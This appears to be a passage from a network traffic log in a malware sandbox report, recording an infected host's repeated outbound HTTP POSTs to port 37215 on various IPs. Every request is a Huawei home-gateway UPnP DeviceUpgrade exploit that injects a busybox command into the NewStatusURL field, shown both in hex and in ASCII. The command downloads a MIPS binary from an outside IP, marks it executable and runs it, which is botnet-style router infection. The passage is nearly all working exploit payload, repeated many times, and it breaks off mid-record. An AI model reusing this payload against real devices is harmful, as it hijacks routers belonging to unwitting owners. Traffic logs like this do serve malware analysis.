6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:32.403261900 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:34.226999044 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:38.034589052 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:45.457535028 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:17:00.047425032 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.23	37576	94.120.162.9	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:16:35.465779066 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.23	52246	156.254.58.80	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:16:35.486679077 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:39.570372105 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:45.713587046 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 